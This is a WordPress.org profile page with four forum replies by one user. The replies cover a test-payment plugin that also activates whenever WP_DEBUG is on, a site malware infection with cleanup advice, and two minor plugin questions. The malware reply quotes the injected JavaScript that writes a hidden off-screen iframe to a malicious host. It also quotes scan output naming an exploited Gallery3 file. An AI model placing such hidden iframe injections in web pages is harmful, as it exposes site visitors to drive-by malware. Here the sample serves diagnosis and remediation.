Title: Ben's Replies | WordPress.org

---

# Ben

  [  ](https://wordpress.org/support/users/benagain/)

 *   [Profile](https://wordpress.org/support/users/benagain/)
 *   [Topics Started](https://wordpress.org/support/users/benagain/topics/)
 *   [Replies Created](https://wordpress.org/support/users/benagain/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/benagain/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/benagain/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/benagain/engagements/)
 *   [Favorites](https://wordpress.org/support/users/benagain/favorites/)

 Search replies:

## Forum Replies Created

Viewing 4 replies - 1 through 4 (of 4 total)

 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[WC Order Test] Configure this plugin to work for all users (not just admin)?](https://wordpress.org/support/topic/configure-this-plugin-to-work-for-all-users-not-just-admin/)
 *  [Ben](https://wordpress.org/support/users/benagain/)
 * (@benagain)
 * [5 years, 6 months ago](https://wordpress.org/support/topic/configure-this-plugin-to-work-for-all-users-not-just-admin/#post-14057147)
 * > Set WP_DEBUG to true and it will work for everyone.
 * Could this behaviour be changed or made note of in the plugin?
 * On the settings page for WC Order Test, it says:
    _Only admin users will see 
   this option on the checkout page._
 * For WP_DEBUG to trigger it also is unexpected behaviour that unfortunately caught
   me off guard while trying to diagnose an issue today. WP_DEBUG can sometimes 
   be enabled on production sites in tandem with WP_DEBUG_LOG and WP_DEBUG_DISPLAY
   for silent logging of errors.
 * “100% off all orders while I troubleshoot an issue,” is certainly an interesting
   proposition! But having a specific debug constant for WC Order Test or some kind
   of ‘users who can use this’ control in admin would be fantastic… and save me 
   some stress.
 * Would be happy to do up a pull request.
 * EDIT: Well, this has actually been a worthwhile discovery. Turns out [@wpfixit](https://wordpress.org/support/users/wpfixit/)
   have seemingly copied [Sean Barton of Tortoise IT](http://www.sean-barton.co.uk/2014/07/woocommerce-test-payment-gateway-plugin/)‘
   s plugin and republished it without crediting him. Really not in the spirit of
   the GPL license that he released it under.
 * But what do you know, Sean’s original readme for the plugin said: _“Adds a test
   payment gateway to WooCommerce available only to logged in administrators or 
   when WP\_DEBUG is enabled.”_
 * I’m just going to modify Sean’s plugin and start using that instead. -_-
    -  This reply was modified 5 years, 6 months ago by [Ben](https://wordpress.org/support/users/benagain/).
      Reason: New knowledge
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [virus on .js and .php: function Art_protection() {](https://wordpress.org/support/topic/virus-on-js-and-php/)
 *  [Ben](https://wordpress.org/support/users/benagain/)
 * (@benagain)
 * [11 years, 11 months ago](https://wordpress.org/support/topic/virus-on-js-and-php/#post-5316629)
 * Your site has been infected with malware, same as mine was. You’ll probably also
   find a series of malicious .php files located on your server with base64 code.
 * If you look closely at the Javascript code, it’s creating a cookie on your browser
   to log visited websites, and it’s also creating an iframe, out of view of the
   browser window, that leads to a virus website:
 *     ```
       document.write('<iframe src="http://malicioussubdomain.infectedwebsite.com/dodgyfile.html" style="top:-999px;left:-999px;position:absolute;" height="131" width="131"></iframe>');
       ```
   
 * The malicious code keeps reappearing every time you delete it because the hacker
   sets up a cron-job (automatic task) that replaces the code periodically, and 
   changes the malware address located in the iframe. This code will appear in every
   Javascript file on your server.
 * You need to find the point of entry into your site. They could have exploited
   a number of things, poorly written or maliciously written plugins, themes or 
   other CMS systems.
 * In my case, I stupidly had an old version of ‘Gallery-project’ installed on my
   server, which they accessed.
 *     ```
       # Known exploit = [Fingerprint Match] [PHP POST Exploit]:
       '/home/benaball/public_html/gallery/modules/exif/lib/490c.php'
       # Script version check [OLD] [Gallery3 v3.0.6 < v3.0.9]:
       '/home/benaball/public_html/gallery/modules/gallery/helpers/gallery.php'
       ```
   
 * ^ Malware scan from my webhost
 * **What you should look into:**
    1- If you’re with a web host, get them to do 
   a malicious file scan using their WHM, you can also run a scan with Sucuri: [http://sitecheck.sucuri.net/](http://sitecheck.sucuri.net/)
 * 2- Read up on Hardening WordPress, here: ([WordPress Codex – Hardening WordPress](http://codex.wordpress.org/Hardening_WordPress))
   and here: ([Big JS Problem Hack – WordPress Forums](https://wordpress.org/support/topic/big-js-probleme-hack?replies=2))
 * **How I solved it (summary):**
    – I exported my posts using WordPress’s export
   function. – Erased the server and reinstalled WordPress – Secured the installation
   with techniques listed in the Hardening WordPress codex – Secured my directories
   using [.htaccess](http://codex.wordpress.org/htaccess) – Installed a number of
   security plugins – Imported my posts using WordPress’s import function. – Only
   installed plugins and themes from trusted developers – Cleared my cache on CloudFlare
   as it had saved old malicious versions of the Javascript on my site.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Recent Posts Slider] [Plugin: Recent Posts Slider] How to I add it above posts?](https://wordpress.org/support/topic/plugin-recent-posts-slider-how-to-i-add-it-above-posts/)
 *  Thread Starter [Ben](https://wordpress.org/support/users/benagain/)
 * (@benagain)
 * [15 years, 2 months ago](https://wordpress.org/support/topic/plugin-recent-posts-slider-how-to-i-add-it-above-posts/#post-2158803)
 * Where about is the loop? I can’t see the loop anywhere in the index.
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[WPtouch - Make your WordPress Website Mobile-Friendly] WP Touch not working after update](https://wordpress.org/support/topic/wp-touch-not-working-after-update/)
 *  Thread Starter [Ben](https://wordpress.org/support/users/benagain/)
 * (@benagain)
 * [15 years, 2 months ago](https://wordpress.org/support/topic/wp-touch-not-working-after-update/#post-2132788)
 * Yes, I’m running W3 Total Cache and Hyper Cache. Not a good combo?
 * The mobile version of the website doesn’t work on my iOS device anymore, after
   I did the update.
 * Unless it hasn’t been working for awhile, I only tried loading my page after 
   installing the update.

Viewing 4 replies - 1 through 4 (of 4 total)